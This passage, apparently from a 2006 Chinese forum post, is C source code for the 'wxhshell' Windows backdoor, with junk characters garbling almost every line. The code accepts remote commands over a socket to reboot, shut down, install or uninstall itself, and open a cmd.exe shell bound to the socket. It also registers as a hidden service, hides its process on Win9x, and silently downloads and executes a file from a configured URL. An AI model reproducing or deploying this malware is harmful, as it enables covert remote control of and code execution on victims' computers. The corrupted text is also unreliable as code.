  // 帮助 -IG@v0_w  
  case '?': { H*EN199  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c0:`+>p2  
    break; m3Rss~l  
  } D3;#:  
  // 安装 DqBiBH[%h  
  case 'i': { mp>Ne6\Tu  
    if(Install()) ,A!0:+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8}!WJ2[R  
    else 'di(5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Eg#WR&Uq"  
    break; ksli-Px  
    } ^/$bd4,z  
  // 卸载 XRWy#Pj  
  case 'r': { -Y/c]g  
    if(Uninstall()) I(:d8SF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); um1xSf1Xv  
    else 7 +kU8}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f5&K=4khn  
    break; ,9~2#[|lq  
    } _B^Q;54c  
  // 显示 wxhshell 所在路径 Ouc$M2m0!  
  case 'p': { &BJ"T  
    char svExeFile[MAX_PATH]; 8A2_4q@34  
    strcpy(svExeFile,"\n\r"); r/mKuGa]  
      strcat(svExeFile,ExeFile); HO9w"){d$  
        send(wsh,svExeFile,strlen(svExeFile),0); c`_[q{(^m  
    break; \zyvu7YA  
    } IkJ-*vI6  
  // 重启 2umgF  
  case 'b': { 4xD`Z_U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :5BVVa0oR  
    if(Boot(REBOOT)) QNgfvy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4Yya+[RY  
    else { 8~8VoU&  
    closesocket(wsh); /}$D&KwYg  
    ExitThread(0); 7 y'2  
    } aqN6.t  
    break; c R6:AGr  
    } ._US8  
  // 关机 +I r  
  case 'd': { C7 T}:V](q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zqa7!ky  
    if(Boot(SHUTDOWN)) FWDAG$K@0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C{U"Nsu+1  
    else { 'o]8UD(  
    closesocket(wsh); zP|^) h5  
    ExitThread(0); 8(""ui 8  
    } pt=H?{06  
    break; ]}0QrD  
    } &Z 6s\r%  
  // 获取shell *VgiJ  
  case 's': { C0%yGLh&  
    CmdShell(wsh); SK;c D>)  
    closesocket(wsh); o==:e  
    ExitThread(0); p5\B0G<m  
    break; )lrmP(C*.a  
  } F!&$Z .  
  // 退出 |WDMyKf6J  
  case 'x': { D $3Mg  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q=`i  
    CloseIt(wsh); Dt=@OZW  
    break; KetNFwbUf  
    } :2(U3~3:  
  // 离开 8zzY;3^h;  
  case 'q': { `(o:;<&3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -]k vM  
    closesocket(wsh); ;HoBLxb P  
    WSACleanup(); h3t);}Y}D9  
    exit(1); 5v,_ Hgh  
    break; R-J^%4U`7  
        }  6>&h9@  
  } #l#8-m8g)  
  } K:(E"d;  
$bsD'Io  
  // 提示信息 + Un(VTD  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QSSA)  
} T?HW=v_a  
  } }YCpd)@  
2$s2u;  
  return; =C 7WQ  
} LeaJ).Maw  
qvG@kuz8g5  
// shell模块句柄 4Be'w`Q {  
int CmdShell(SOCKET sock) `R6dnbH  
{ _UGR+0'Q\  
STARTUPINFO si; z~(3S8$  
ZeroMemory(&si,sizeof(si)); H?_>wQj&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z1S p'h$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6&`hf >  
PROCESS_INFORMATION ProcessInfo; h1 pEC  
char cmdline[]="cmd"; iR]K!j2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); dpSNh1  
  return 0; =bJ7!&  
} k{ ~0BK  
TP{2q51yM  
// 自身启动模式 B"?ivxM:U  
int StartFromService(void) p(Ux]_s%  
{ \45F;f_r6  
typedef struct bYAtUEv  
{ .W s\%S  
  DWORD ExitStatus; 1s/548wu  
  DWORD PebBaseAddress; 6W[~@~D=  
  DWORD AffinityMask; g0ks[ }f-  
  DWORD BasePriority; wl7 (|\-  
  ULONG UniqueProcessId; ApNS0  
  ULONG InheritedFromUniqueProcessId; xtO#reL"q?  
}   PROCESS_BASIC_INFORMATION; #ADm^UT^  
vb`R+y@  
PROCNTQSIP NtQueryInformationProcess; Ake@krh>$  
#+#^cqjZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; AF\Jh+ynT!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A<''x'\/  
gy>B 5ie  
  HANDLE             hProcess; fLS].b]1N  
  PROCESS_BASIC_INFORMATION pbi; L@s_)?x0  
-}(2}~{e(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); l}SHR|7<  
  if(NULL == hInst ) return 0; o3YW(%cYR  
0p]v#z}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @2g <d  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hjD%=Ri0Z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); nO+R >8,Q  
;2P  
  if (!NtQueryInformationProcess) return 0; 4-m6e$p;  
8PR\a!"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L3=5tuQ[5  
  if(!hProcess) return 0; lHAWZyO  
^!fY~(=U4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; V]NCFG  
2Gh&h(  
  CloseHandle(hProcess); lg +>.^7k  
R*/s#*gmL  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F3[,6%4v  
if(hProcess==NULL) return 0; sGa}Cf;H@g  
Ad&VOh+0  
HMODULE hMod; $[UUf}7L   
char procName[255]; wJj:hA}  
unsigned long cbNeeded; p(6 sN=  
P; h8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?N^1v&Q  
H*e+ 2  
  CloseHandle(hProcess); +z 4E:v  
&`oybm-p(  
if(strstr(procName,"services")) return 1; // 以服务启动 TV=K3F5)M  
McpQ7\*h  
  return 0; // 注册表启动 dci<Rz`h  
} 5th?m>  
[ ou$*  
// 主模块 y @S_CB 47  
int StartWxhshell(LPSTR lpCmdLine) iX[g  
{ k.z(.uc=  
  SOCKET wsl; <RKT |  
BOOL val=TRUE; "}V_.I* +  
  int port=0; IC?(F]$%>  
  struct sockaddr_in door; $<yhEvv  
.5uqc.i"f  
  if(wscfg.ws_autoins) Install(); =*1NVi $n  
e3ce?gk  
port=atoi(lpCmdLine); `Qjs {H  
|]?zH~L  
if(port<=0) port=wscfg.ws_port; &r\8VEZq"  
\W]gy_=D{  
  WSADATA data; |Ve,Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; VD< z]@  
hHHQmK<r  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   axpZ`BUc  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )+R n[MMp  
  door.sin_family = AF_INET; wZs 2 aa  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); qV6WT&)T  
  door.sin_port = htons(port); hJsP;y:@Lm  
w@<II-9L)<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $1g1Bn  
closesocket(wsl); C!|LGzs0  
return 1; z;!"i~fFK  
} tj$[szo  
s&Y"a,|Z  
  if(listen(wsl,2) == INVALID_SOCKET) { kg 8Dn  
closesocket(wsl); BM'!odRv  
return 1; 2?SbkU/3|P  
} hGkJ$QT  
  Wxhshell(wsl); kRc+OsY9  
  WSACleanup(); xx(C$wCJ  
R<U]"4CBx  
return 0; 1X&.po  
BM`6<Z"3q  
} 5dB62dqN  
P#7=h:.522  
// 以NT服务方式启动 *mVg_Kl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) MXa^ g"  
{ s M*ay,v;  
DWORD   status = 0; #=={h?UDT  
  DWORD   specificError = 0xfffffff; 9v[V"m`M  
P:t .Nr"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; a eeor  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >=|p30\b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;0Pv49q  
  serviceStatus.dwWin32ExitCode     = 0; 'It8h$^j  
  serviceStatus.dwServiceSpecificExitCode = 0; fP V n;  
  serviceStatus.dwCheckPoint       = 0; !Av9 ?Q:  
  serviceStatus.dwWaitHint       = 0; U(9_&sL  
c(e>Rmh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); p |1u,N  
  if (hServiceStatusHandle==0) return; h='F,r5#2  
t`&x.o  
status = GetLastError(); [ r8 ZAS  
  if (status!=NO_ERROR) U!`iKy-  
{ B+snHabS6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !TJ,:c]4{!  
    serviceStatus.dwCheckPoint       = 0; C!a1.&HHZ7  
    serviceStatus.dwWaitHint       = 0; 9&5<ZC-D  
    serviceStatus.dwWin32ExitCode     = status; ".tL+A[  
    serviceStatus.dwServiceSpecificExitCode = specificError; -^lc-$0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @(~:JP?KNC  
    return; dWPQp*f2  
  } `r-jWK\  
i*Ldec^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; k%sH09   
  serviceStatus.dwCheckPoint       = 0; KGHSEZi]  
  serviceStatus.dwWaitHint       = 0; Vh;zV Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /rnI"ze`  
} qfyZda0d  
c&!mKMrk  
// 处理NT服务事件,比如:启动、停止 acR|X@ \3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Cq"KKuf  
{ hU8Y&R)=9  
switch(fdwControl) `X}:(O^GO  
{ {PcJuRTHB  
case SERVICE_CONTROL_STOP: U~N7\Pa4  
  serviceStatus.dwWin32ExitCode = 0; <"J]u@|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P}Kgh7)3  
  serviceStatus.dwCheckPoint   = 0; k(l2`I4V  
  serviceStatus.dwWaitHint     = 0; O,%,dtD[a  
  { B-R#?Xn:!I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o^\Pt<~W  
  } ( %\7dxiK  
  return; $+!dP{   
case SERVICE_CONTROL_PAUSE: ba);f[>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2t-w0~O  
  break; ^,acU\}VqP  
case SERVICE_CONTROL_CONTINUE: \A"o[A2v  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; by X!,  
  break; B6Vlc{c5SO  
case SERVICE_CONTROL_INTERROGATE: e~9O#rQI  
  break; hPDKxYD]f  
}; ~lys  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b}3"v(  
} e "A"  
lUm(iYv;H  
// 标准应用程序主函数 g[3LPKQ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *h!fqT%9  
{ (~=.[Y  
:oP LluW*  
// 获取操作系统版本 2 }r=DAe0  
OsIsNt=GetOsVer(); <EpL<K%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); f'^uuO#x  
LH8jT  
  // 从命令行安装  uZS:  
  if(strpbrk(lpCmdLine,"iI")) Install(); CJBf5I3  
-{cHp  
  // 下载执行文件 PgWWa*Ew  
if(wscfg.ws_downexe) { qd*}d)!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &riGzU]  
  WinExec(wscfg.ws_filenam,SW_HIDE); IOcQI:4.`  
} 8Xot ly  
~&i4FuK  
if(!OsIsNt) { {AL EK   
// 如果时win9x,隐藏进程并且设置为注册表启动 <(L@@.87R  
HideProc(); Y%s:oHt  
StartWxhshell(lpCmdLine); 1iy$n  
} F4EAC|Y  
else I,j4 BU4  
  if(StartFromService()) Tlsh[@Q  
  // 以服务方式启动 jwDlz.sW!  
  StartServiceCtrlDispatcher(DispatchTable); m+kP"]v  
else ^Xk!wJ  
  // 普通方式启动 E.oJ[;  
  StartWxhshell(lpCmdLine); <v_=k],W  
2$JGhgDI  
return 0; .+9hm|  
}
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只看该作者 1 发表于: 2006-10-10
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